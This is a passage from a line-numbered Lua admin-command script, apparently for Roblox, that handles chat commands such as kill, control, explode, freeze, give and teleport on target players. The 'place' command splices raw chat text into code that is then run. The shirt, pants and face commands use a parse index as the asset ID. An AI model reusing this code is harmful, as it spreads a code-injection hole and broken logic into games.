  6646. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  6647. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  6648. hit.Parent.Humanoid:TakeDamage(Damage)
  6649. end
  6650. end)
  6651. script.Parent.Activated:connect(function()
  6652. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  6653. script.Parent.Enabled = false
  6654. local tick = game:service("RunService").Stepped:wait()
  6655. if tick - last <= .2 then
  6656. LungeSound:play()
  6657. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  6658. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  6659. wait(.2)
  6660. script.Parent.GripForward = Vector3.new(0,0,1)
  6661. script.Parent.GripRight = Vector3.new(0,-1,0)
  6662. script.Parent.GripUp = Vector3.new(-1,0,0)
  6663. wait(.3)
  6664. frc:Destroy() wait(.5)
  6665. script.Parent.GripForward = Vector3.new(-1,0,0)
  6666. script.Parent.GripRight = Vector3.new(0,1,0)
  6667. script.Parent.GripUp = Vector3.new(0,0,1)
  6668. else
  6669. SlashSound:play()
  6670. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  6671. end
  6672. last = tick
  6673. script.Parent.Enabled = true
  6674. end)
  6675. script.Parent.Equipped:connect(function(mouse)
  6676. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  6677. UnsheathSound:play()
  6678. script.Parent.Enabled = true
  6679. if not mouse then return end
  6680. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  6681. end)]] cl.Disabled = false
  6682. end
  6683. end))
  6684. end
  6685. end
  6686.  
  6687. if msg:lower():sub(1,6) == "clone " then
  6688. local plrz = GetPlr(plr, msg:lower():sub(7))
  6689. for i, v in pairs(plrz) do
  6690. coroutine.resume(coroutine.create(function()
  6691. if v and v.Character then
  6692. v.Character.Archivable = true
  6693. local cl = v.Character:Clone()
  6694. table.insert(objects,cl)
  6695. cl.Parent = game.Workspace
  6696. cl:MoveTo(v.Character:GetModelCFrame().p)
  6697. cl:MakeJoints()
  6698. v.Character.Archivable = false
  6699. end
  6700. end))
  6701. end
  6702. end
  6703.  
  6704. if msg:lower():sub(1,8) == "control " then
  6705. local plrz = GetPlr(plr, msg:lower():sub(9))
  6706. for i, v in pairs(plrz) do
  6707. coroutine.resume(coroutine.create(function()
  6708. if v and v.Character then
  6709. v.Character.Humanoid.PlatformStand = true
  6710. local w = Instance.new("Weld", plr.Character.Torso )
  6711. w.Part0 = plr.Character.Torso
  6712. w.Part1 = v.Character.Torso  
  6713. local w2 = Instance.new("Weld", plr.Character.Head)
  6714. w2.Part0 = plr.Character.Head
  6715. w2.Part1 = v.Character.Head  
  6716. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  6717. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  6718. w3.Part1 = v.Character:findFirstChild("Right Arm")
  6719. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  6720. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  6721. w4.Part1 = v.Character:findFirstChild("Left Arm")
  6722. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  6723. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  6724. w5.Part1 = v.Character:findFirstChild("Right Leg")
  6725. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  6726. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  6727. w6.Part1 = v.Character:findFirstChild("Left Leg")
  6728. plr.Character.Head.face:Destroy()
  6729. for i, p in pairs(v.Character:children()) do
  6730. if p:IsA("BasePart") then
  6731. p.CanCollide = false
  6732. end
  6733. end
  6734. for i, p in pairs(plr.Character:children()) do
  6735. if p:IsA("BasePart") then
  6736. p.Transparency = 1
  6737. elseif p:IsA("Hat") then
  6738. p:Destroy()
  6739. end
  6740. end
  6741. v.Character.Parent = plr.Character
  6742. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  6743. end
  6744. end))
  6745. end
  6746. end
  6747.  
  6748. if msg:lower():sub(1,5) == "kill " then
  6749. local plrz = GetPlr(plr, msg:lower():sub(6))
  6750. for i, v in pairs(plrz) do
  6751. coroutine.resume(coroutine.create(function()
  6752. if v and v.Character then v.Character:BreakJoints() end
  6753. end))
  6754. end
  6755. end
  6756.  
  6757. if msg:lower():sub(1,8) == "respawn " then
  6758. local plrz = GetPlr(plr, msg:lower():sub(9))
  6759. for i, v in pairs(plrz) do
  6760. coroutine.resume(coroutine.create(function()
  6761. if v and v.Character then v:LoadCharacter() end
  6762. end))
  6763. end
  6764. end
  6765.  
  6766. if msg:lower():sub(1,5) == "trip " then
  6767. local plrz = GetPlr(plr, msg:lower():sub(6))
  6768. for i, v in pairs(plrz) do
  6769. coroutine.resume(coroutine.create(function()
  6770. if v and v.Character and v.Character:findFirstChild("Torso") then
  6771. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  6772. end
  6773. end))
  6774. end
  6775. end
  6776.  
  6777. if msg:lower():sub(1,5) == "stun " then
  6778. local plrz = GetPlr(plr, msg:lower():sub(6))
  6779. for i, v in pairs(plrz) do
  6780. coroutine.resume(coroutine.create(function()
  6781. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6782. v.Character.Humanoid.PlatformStand = true
  6783. end
  6784. end))
  6785. end
  6786. end
  6787.  
  6788. if msg:lower():sub(1,7) == "unstun " then
  6789. local plrz = GetPlr(plr, msg:lower():sub(8))
  6790. for i, v in pairs(plrz) do
  6791. coroutine.resume(coroutine.create(function()
  6792. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6793. v.Character.Humanoid.PlatformStand = false
  6794. end
  6795. end))
  6796. end
  6797. end
  6798.  
  6799. if msg:lower():sub(1,5) == "jump " then
  6800. local plrz = GetPlr(plr, msg:lower():sub(6))
  6801. for i, v in pairs(plrz) do
  6802. coroutine.resume(coroutine.create(function()
  6803. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6804. v.Character.Humanoid.Jump = true
  6805. end
  6806. end))
  6807. end
  6808. end
  6809.  
  6810. if msg:lower():sub(1,4) == "sit " then
  6811. local plrz = GetPlr(plr, msg:lower():sub(5))
  6812. for i, v in pairs(plrz) do
  6813. coroutine.resume(coroutine.create(function()
  6814. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6815. v.Character.Humanoid.Sit = true
  6816. end
  6817. end))
  6818. end
  6819. end
  6820.  
  6821. if msg:lower():sub(1,10) == "invisible " then
  6822. local plrz = GetPlr(plr, msg:lower():sub(11))
  6823. for i, v in pairs(plrz) do
  6824. coroutine.resume(coroutine.create(function()
  6825. if v and v.Character then
  6826. for a, obj in pairs(v.Character:children()) do
  6827. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  6828. end
  6829. end
  6830. end))
  6831. end
  6832. end
  6833.  
  6834. if msg:lower():sub(1,8) == "visible " then
  6835. local plrz = GetPlr(plr, msg:lower():sub(9))
  6836. for i, v in pairs(plrz) do
  6837. coroutine.resume(coroutine.create(function()
  6838. if v and v.Character then
  6839. for a, obj in pairs(v.Character:children()) do
  6840. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  6841. end
  6842. end
  6843. end))
  6844. end
  6845. end
  6846.  
  6847. if msg:lower():sub(1,5) == "lock " then
  6848. local plrz = GetPlr(plr, msg:lower():sub(6))
  6849. for i, v in pairs(plrz) do
  6850. coroutine.resume(coroutine.create(function()
  6851. if v and v.Character then
  6852. for a, obj in pairs(v.Character:children()) do
  6853. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  6854. end
  6855. end
  6856. end))
  6857. end
  6858. end
  6859.  
  6860. if msg:lower():sub(1,7) == "unlock " then
  6861. local plrz = GetPlr(plr, msg:lower():sub(8))
  6862. for i, v in pairs(plrz) do
  6863. coroutine.resume(coroutine.create(function()
  6864. if v and v.Character then
  6865. for a, obj in pairs(v.Character:children()) do
  6866. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  6867. end
  6868. end
  6869. end))
  6870. end
  6871. end
  6872.  
  6873. if msg:lower():sub(1,8) == "explode " then
  6874. local plrz = GetPlr(plr, msg:lower():sub(9))
  6875. for i, v in pairs(plrz) do
  6876. coroutine.resume(coroutine.create(function()
  6877. if v and v.Character and v.Character:findFirstChild("Torso") then
  6878. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  6879. end
  6880. end))
  6881. end
  6882. end
  6883.  
  6884. if msg:lower():sub(1,4) == "age " then
  6885. local plrz = GetPlr(plr, msg:lower():sub(5))
  6886. for i, v in pairs(plrz) do
  6887. coroutine.resume(coroutine.create(function()
  6888. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  6889. end))
  6890. end
  6891. end
  6892.  
  6893. if msg:lower():sub(1,5) == "fire " then
  6894. local plrz = GetPlr(plr, msg:lower():sub(6))
  6895. for i, v in pairs(plrz) do
  6896. coroutine.resume(coroutine.create(function()
  6897. if v and v.Character and v.Character:findFirstChild("Torso") then
  6898. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  6899. end
  6900. end))
  6901. end
  6902. end
  6903.  
  6904. if msg:lower():sub(1,7) == "unfire " then
  6905. local plrz = GetPlr(plr, msg:lower():sub(8))
  6906. for i, v in pairs(plrz) do
  6907. coroutine.resume(coroutine.create(function()
  6908. if v and v.Character and v.Character:findFirstChild("Torso") then
  6909. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  6910. end
  6911. end))
  6912. end
  6913. end
  6914.  
  6915. if msg:lower():sub(1,6) == "smoke " then
  6916. local plrz = GetPlr(plr, msg:lower():sub(7))
  6917. for i, v in pairs(plrz) do
  6918. coroutine.resume(coroutine.create(function()
  6919. if v and v.Character and v.Character:findFirstChild("Torso") then
  6920. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  6921. end
  6922. end))
  6923. end
  6924. end
  6925.  
  6926. if msg:lower():sub(1,8) == "unsmoke " then
  6927. local plrz = GetPlr(plr, msg:lower():sub(9))
  6928. for i, v in pairs(plrz) do
  6929. coroutine.resume(coroutine.create(function()
  6930. if v and v.Character and v.Character:findFirstChild("Torso") then
  6931. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  6932. end
  6933. end))
  6934. end
  6935. end
  6936.  
  6937. if msg:lower():sub(1,9) == "sparkles " then
  6938. local plrz = GetPlr(plr, msg:lower():sub(10))
  6939. for i, v in pairs(plrz) do
  6940. coroutine.resume(coroutine.create(function()
  6941. if v and v.Character and v.Character:findFirstChild("Torso") then
  6942. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  6943. end
  6944. end))
  6945. end
  6946. end
  6947.  
  6948. if msg:lower():sub(1,11) == "unsparkles " then
  6949. local plrz = GetPlr(plr, msg:lower():sub(12))
  6950. for i, v in pairs(plrz) do
  6951. coroutine.resume(coroutine.create(function()
  6952. if v and v.Character and v.Character:findFirstChild("Torso") then
  6953. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  6954. end
  6955. end))
  6956. end
  6957. end
  6958.  
  6959. if msg:lower():sub(1,3) == "ff " then
  6960. local plrz = GetPlr(plr, msg:lower():sub(4))
  6961. for i, v in pairs(plrz) do
  6962. coroutine.resume(coroutine.create(function()
  6963. if v and v.Character then Instance.new("ForceField", v.Character) end
  6964. end))
  6965. end
  6966. end
  6967.  
  6968. if msg:lower():sub(1,5) == "unff " then
  6969. local plrz = GetPlr(plr, msg:lower():sub(6))
  6970. for i, v in pairs(plrz) do
  6971. coroutine.resume(coroutine.create(function()
  6972. if v and v.Character then
  6973. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  6974. end
  6975. end))
  6976. end
  6977. end
  6978.  
  6979. if msg:lower():sub(1,7) == "punish " then
  6980. local plrz = GetPlr(plr, msg:lower():sub(8))
  6981. for i, v in pairs(plrz) do
  6982. coroutine.resume(coroutine.create(function()
  6983. if v and v.Character then
  6984. v.Character.Parent = game:service("Lighting")
  6985. end
  6986. end))
  6987. end
  6988. end
  6989.  
  6990. if msg:lower():sub(1,9) == "unpunish " then
  6991. local plrz = GetPlr(plr, msg:lower():sub(10))
  6992. for i, v in pairs(plrz) do
  6993. coroutine.resume(coroutine.create(function()
  6994. if v and v.Character then
  6995. v.Character.Parent = game:service("Workspace")
  6996. v.Character:MakeJoints()
  6997. end
  6998. end))
  6999. end
  7000. end
  7001.  
  7002. if msg:lower():sub(1,7) == "freeze " then
  7003. local plrz = GetPlr(plr, msg:lower():sub(8))
  7004. for i, v in pairs(plrz) do
  7005. coroutine.resume(coroutine.create(function()
  7006. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7007. for a, obj in pairs(v.Character:children()) do
  7008. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  7009. end
  7010. end
  7011. end))
  7012. end
  7013. end
  7014.  
  7015. if msg:lower():sub(1,5) == "thaw " then
  7016. local plrz = GetPlr(plr, msg:lower():sub(6))
  7017. for i, v in pairs(plrz) do
  7018. coroutine.resume(coroutine.create(function()
  7019. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7020. for a, obj in pairs(v.Character:children()) do
  7021. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  7022. end
  7023. end
  7024. end))
  7025. end
  7026. end
  7027.  
  7028. if msg:lower():sub(1,5) == "heal " then
  7029. local plrz = GetPlr(plr, msg:lower():sub(6))
  7030. for i, v in pairs(plrz) do
  7031. coroutine.resume(coroutine.create(function()
  7032. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7033. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7034. end
  7035. end))
  7036. end
  7037. end
  7038.  
  7039. if msg:lower():sub(1,4) == "god " then
  7040. local plrz = GetPlr(plr, msg:lower():sub(5))
  7041. for i, v in pairs(plrz) do
  7042. coroutine.resume(coroutine.create(function()
  7043. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7044. v.Character.Humanoid.MaxHealth = math.huge
  7045. v.Character.Humanoid.Health = 9e9
  7046. end
  7047. end))
  7048. end
  7049. end
  7050.  
  7051. if msg:lower():sub(1,6) == "ungod " then
  7052. local plrz = GetPlr(plr, msg:lower():sub(7))
  7053. for i, v in pairs(plrz) do
  7054. coroutine.resume(coroutine.create(function()
  7055. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7056. v.Character.Humanoid.MaxHealth = 100
  7057. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7058. end
  7059. end))
  7060. end
  7061. end
  7062.  
  7063. if msg:lower():sub(1,8) == "ambient " then
  7064. local chk1 = msg:lower():sub(9):find(" ") + 8
  7065. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7066. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  7067. end
  7068.  
  7069. if msg:lower():sub(1,11) == "brightness " then
  7070. game.Lighting.Brightness = msg:sub(12)
  7071. end
  7072.  
  7073. if msg:lower():sub(1,5) == "time " then
  7074. game.Lighting.TimeOfDay = msg:sub(6)
  7075. end
  7076.  
  7077. if msg:lower():sub(1,9) == "fogcolor " then
  7078. local chk1 = msg:lower():sub(10):find(" ") + 9
  7079. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7080. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  7081. end
  7082.  
  7083. if msg:lower():sub(1,7) == "fogend " then
  7084. game.Lighting.FogEnd = msg:sub(8)
  7085. end
  7086.  
  7087. if msg:lower():sub(1,9) == "fogstart " then
  7088. game.Lighting.FogStart = msg:sub(10)
  7089. end
  7090.  
  7091. if msg:lower():sub(1,7) == "btools " then
  7092. local plrz = GetPlr(plr, msg:lower():sub(8))
  7093. for i, v in pairs(plrz) do
  7094. coroutine.resume(coroutine.create(function()
  7095. if v and v:findFirstChild("Backpack") then
  7096. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  7097. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  7098. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  7099. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  7100. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  7101. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  7102. local sb
  7103. local hs
  7104. local pdist
  7105.  
  7106. script.Parent.Selected:connect(function(mouse)
  7107. if not mouse then return end
  7108. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  7109. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  7110. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  7111. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  7112. hs.MouseButton1Down:connect(function() pdist = 0 end)
  7113. end)
  7114.  
  7115. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  7116. end
  7117. end))
  7118. end
  7119. end
  7120.  
  7121. if msg:lower():sub(1,12) == "startergive " then
  7122. local chk1 = msg:lower():sub(13):find(" ") + 12
  7123. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  7124. for i, v in pairs(plrz) do
  7125. coroutine.resume(coroutine.create(function()
  7126. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  7127. for a, tool in pairs(game.Lighting:children()) do
  7128. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  7129. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  7130. end
  7131. end
  7132. end
  7133. end))
  7134. end
  7135. end
  7136.  
  7137. if msg:lower():sub(1,5) == "give " then
  7138. local chk1 = msg:lower():sub(6):find(" ") + 5
  7139. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7140. for i, v in pairs(plrz) do
  7141. coroutine.resume(coroutine.create(function()
  7142. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  7143. for a, tool in pairs(game.Lighting:children()) do
  7144. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  7145. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  7146. end
  7147. end
  7148. end
  7149. end))
  7150. end
  7151. end
  7152.  
  7153. if msg:lower():sub(1,12) == "removetools " then
  7154. local plrz = GetPlr(plr, msg:lower():sub(13))
  7155. for i, v in pairs(plrz) do
  7156. coroutine.resume(coroutine.create(function()
  7157. if v and v.Character and v:findFirstChild("Backpack") then
  7158. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  7159. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  7160. end
  7161. end))
  7162. end
  7163. end
  7164.  
  7165. if msg:lower():sub(1,5) == "rank " then
  7166. local chk1 = msg:lower():sub(6):find(" ") + 5
  7167. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7168. for i, v in pairs(plrz) do
  7169. coroutine.resume(coroutine.create(function()
  7170. if v and v:IsInGroup(msg:sub(chk1+1)) then
  7171. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  7172. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  7173. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  7174. end
  7175. end))
  7176. end
  7177. end
  7178.  
  7179. if msg:lower():sub(1,7) == "damage " then
  7180. local chk1 = msg:lower():sub(8):find(" ") + 7
  7181. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7182. for i, v in pairs(plrz) do
  7183. coroutine.resume(coroutine.create(function()
  7184. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7185. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  7186. end
  7187. end))
  7188. end
  7189. end
  7190.  
  7191. if msg:lower():sub(1,5) == "grav " then
  7192. local plrz = GetPlr(plr, msg:lower():sub(6))
  7193. for i, v in pairs(plrz) do
  7194. coroutine.resume(coroutine.create(function()
  7195. if v and v.Character and v.Character:findFirstChild("Torso") then
  7196. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7197. end
  7198. end))
  7199. end
  7200. end
  7201.  
  7202. if msg:lower():sub(1,8) == "setgrav " then
  7203. local chk1 = msg:lower():sub(9):find(" ") + 8
  7204. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  7205. for i, v in pairs(plrz) do
  7206. coroutine.resume(coroutine.create(function()
  7207. if v and v.Character and v.Character:findFirstChild("Torso") then
  7208. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7209. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  7210. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  7211. end
  7212. end))
  7213. end
  7214. end
  7215.  
  7216. if msg:lower():sub(1,7) == "nograv " then
  7217. local plrz = GetPlr(plr, msg:lower():sub(8))
  7218. for i, v in pairs(plrz) do
  7219. coroutine.resume(coroutine.create(function()
  7220. if v and v.Character and v.Character:findFirstChild("Torso") then
  7221. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7222. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  7223. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  7224. end
  7225. end))
  7226. end
  7227. end
  7228.  
  7229. if msg:lower():sub(1,7) == "health " then
  7230. local chk1 = msg:lower():sub(8):find(" ") + 7
  7231. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7232. for i, v in pairs(plrz) do
  7233. coroutine.resume(coroutine.create(function()
  7234. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7235. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  7236. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7237. end
  7238. end))
  7239. end
  7240. end
  7241.  
  7242. if msg:lower():sub(1,6) == "speed " then
  7243. local chk1 = msg:lower():sub(7):find(" ") + 6
  7244. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7245. for i, v in pairs(plrz) do
  7246. coroutine.resume(coroutine.create(function()
  7247. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7248. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  7249. end
  7250. end))
  7251. end
  7252. end
  7253.  
  7254. if msg:lower():sub(1,5) == "team " then
  7255. local chk1 = msg:lower():sub(6):find(" ") + 5
  7256. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7257. for i, v in pairs(plrz) do
  7258. coroutine.resume(coroutine.create(function()
  7259. if v and game:findFirstChild("Teams") then
  7260. for a, tm in pairs(game.Teams:children()) do
  7261. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  7262. end
  7263. end
  7264. end))
  7265. end
  7266. end
  7267.  
  7268. if msg:lower():sub(1,6) == "place " then
  7269. local chk1 = msg:lower():sub(7):find(" ") + 6
  7270. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7271. for i, v in pairs(plrz) do
  7272. coroutine.resume(coroutine.create(function()
  7273. if v and v:findFirstChild("PlayerGui") then
  7274. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  7275. end
  7276. end))
  7277. end
  7278. end
  7279.  
  7280. if msg:lower():sub(1,3) == "tp " then
  7281. local chk1 = msg:lower():sub(4):find(" ") + 3
  7282. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  7283. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  7284. for i, v in pairs(plrz) do
  7285. coroutine.resume(coroutine.create(function()
  7286. for i2, v2 in pairs(plrz2) do
  7287. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  7288. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  7289. end
  7290. end
  7291. end))
  7292. end
  7293. end
  7294.  
  7295. if msg:lower():sub(1,7) == "change " then
  7296. local chk1 = msg:lower():sub(8):find(" ") + 7
  7297. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7298. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7299. for i, v in pairs(plrz) do
  7300. coroutine.resume(coroutine.create(function()
  7301. if v and v:findFirstChild("leaderstats") then
  7302. for a, st in pairs(v.leaderstats:children()) do
  7303. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  7304. end
  7305. end
  7306. end))
  7307. end
  7308. end
  7309.  
  7310. if msg:lower():sub(1,6) == "shirt " then
  7311. local chk1 = msg:lower():sub(7):find(" ") + 6
  7312. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7313. for i, v in pairs(plrz) do
  7314. coroutine.resume(coroutine.create(function()
  7315. if v and v.Character then
  7316. for i,v in pairs(v.Character:children()) do
  7317. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  7318. end
  7319. end
  7320. end))
  7321. end
  7322. end
  7323.  
  7324. if msg:lower():sub(1,6) == "pants " then
  7325. local chk1 = msg:lower():sub(7):find(" ") + 6
  7326. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7327. for i, v in pairs(plrz) do
  7328. coroutine.resume(coroutine.create(function()
  7329. if v and v.Character then
  7330. for i,v in pairs(v.Character:children()) do
  7331. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  7332. end
  7333. end
  7334. end))
  7335. end
  7336. end
  7337.  
  7338. if msg:lower():sub(1,5) == "face " then
  7339. local chk1 = msg:lower():sub(6):find(" ") + 5
  7340. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7341. for i, v in pairs(plrz) do
  7342. coroutine.resume(coroutine.create(function()
  7343. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  7344. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  7345. end
  7346. end))
  7347. end
  7348. end
  7349.  
  7350. ---------------------
  7351. --   FunCommands   --
  7352. ---------------------
  7353. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  7354.    
  7355. if msg:lower():sub(1,8) == "swagify " then
  7356. local plrz = GetPlr(plr, msg:lower():sub(9))
  7357. for i, v in pairs(plrz) do
  7358. coroutine.resume(coroutine.create(function()
  7359. if v and v.Character then
  7360. for i,v in pairs(v.Character:children()) do
  7361. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
